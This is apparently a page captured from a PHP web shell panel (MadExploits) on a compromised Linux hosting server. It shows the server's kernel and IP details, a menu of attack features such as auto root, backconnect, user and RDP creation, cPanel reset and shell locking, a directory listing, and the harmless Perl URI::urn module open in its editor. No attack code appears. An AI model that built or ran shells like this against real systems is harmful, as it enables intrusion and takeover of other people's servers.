Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.145.95.233
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
URI /
[ HOME SHELL ]
Name
Size
Permission
Action
file
[ DIR ]
drwxr-xr-x
urn
[ DIR ]
drwxr-xr-x
Escape.pm
6.49
KB
-rw-r--r--
Heuristic.pm
6.41
KB
-rw-r--r--
IRI.pm
769
B
-rw-r--r--
QueryParam.pm
4.47
KB
-rw-r--r--
Split.pm
2.3
KB
-rw-r--r--
URL.pm
5.4
KB
-rw-r--r--
WithBase.pm
3.74
KB
-rw-r--r--
_foreign.pm
75
B
-rw-r--r--
_generic.pm
5.63
KB
-rw-r--r--
_idna.pm
1.99
KB
-rw-r--r--
_ldap.pm
3.17
KB
-rw-r--r--
_login.pm
222
B
-rw-r--r--
_punycode.pm
4.52
KB
-rw-r--r--
_query.pm
2.39
KB
-rw-r--r--
_segment.pm
377
B
-rw-r--r--
_server.pm
3.62
KB
-rw-r--r--
_userpass.pm
977
B
-rw-r--r--
data.pm
3.28
KB
-rw-r--r--
file.pm
9.58
KB
-rw-r--r--
ftp.pm
1.03
KB
-rw-r--r--
gopher.pm
2.34
KB
-rw-r--r--
http.pm
405
B
-rw-r--r--
https.pm
107
B
-rw-r--r--
ldap.pm
2.9
KB
-rw-r--r--
ldapi.pm
460
B
-rw-r--r--
ldaps.pm
107
B
-rw-r--r--
mailto.pm
1.24
KB
-rw-r--r--
mms.pm
89
B
-rw-r--r--
news.pm
1.39
KB
-rw-r--r--
nntp.pm
91
B
-rw-r--r--
pop.pm
1.15
KB
-rw-r--r--
rlogin.pm
96
B
-rw-r--r--
rsync.pm
197
B
-rw-r--r--
rtsp.pm
89
B
-rw-r--r--
rtspu.pm
90
B
-rw-r--r--
sip.pm
1.72
KB
-rw-r--r--
sips.pm
105
B
-rw-r--r--
snews.pm
136
B
-rw-r--r--
ssh.pm
140
B
-rw-r--r--
telnet.pm
95
B
-rw-r--r--
tn3270.pm
95
B
-rw-r--r--
urn.pm
1.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : urn.pm
package URI::urn; # RFC 2141 require URI; @ISA=qw(URI); use strict; use Carp qw(carp); use vars qw(%implementor); sub _init { my $class = shift; my $self = $class->SUPER::_init(@_); my $nid = $self->nid; my $impclass = $implementor{$nid}; return $impclass->_urn_init($self, $nid) if $impclass; $impclass = "URI::urn"; if ($nid =~ /^[A-Za-z\d][A-Za-z\d\-]*\z/) { my $id = $nid; # make it a legal perl identifier $id =~ s/-/_/g; $id = "_$id" if $id =~ /^\d/; $impclass = "URI::urn::$id"; no strict 'refs'; unless (@{"${impclass}::ISA"}) { # Try to load it eval "require $impclass"; die $@ if $@ && $@ !~ /Can\'t locate.*in \@INC/; $impclass = "URI::urn" unless @{"${impclass}::ISA"}; } } else { carp("Illegal namespace identifier '$nid' for URN '$self'") if $^W; } $implementor{$nid} = $impclass; return $impclass->_urn_init($self, $nid); } sub _urn_init { my($class, $self, $nid) = @_; bless $self, $class; } sub _nid { my $self = shift; my $opaque = $self->opaque; if (@_) { my $v = $opaque; my $new = shift; $v =~ s/[^:]*/$new/; $self->opaque($v); # XXX possible rebless } $opaque =~ s/:.*//s; return $opaque; } sub nid { # namespace identifier my $self = shift; my $nid = $self->_nid(@_); $nid = lc($nid) if defined($nid); return $nid; } sub nss { # namespace specific string my $self = shift; my $opaque = $self->opaque; if (@_) { my $v = $opaque; my $new = shift; if (defined $new) { $v =~ s/(:|\z).*/:$new/; } else { $v =~ s/:.*//s; } $self->opaque($v); } return undef unless $opaque =~ s/^[^:]*://; return $opaque; } sub canonical { my $self = shift; my $nid = $self->_nid; my $new = $self->SUPER::canonical; return $new if $nid !~ /[A-Z]/ || $nid =~ /%/; $new = $new->clone if $new == $self; $new->nid(lc($nid)); return $new; } 1;
Close
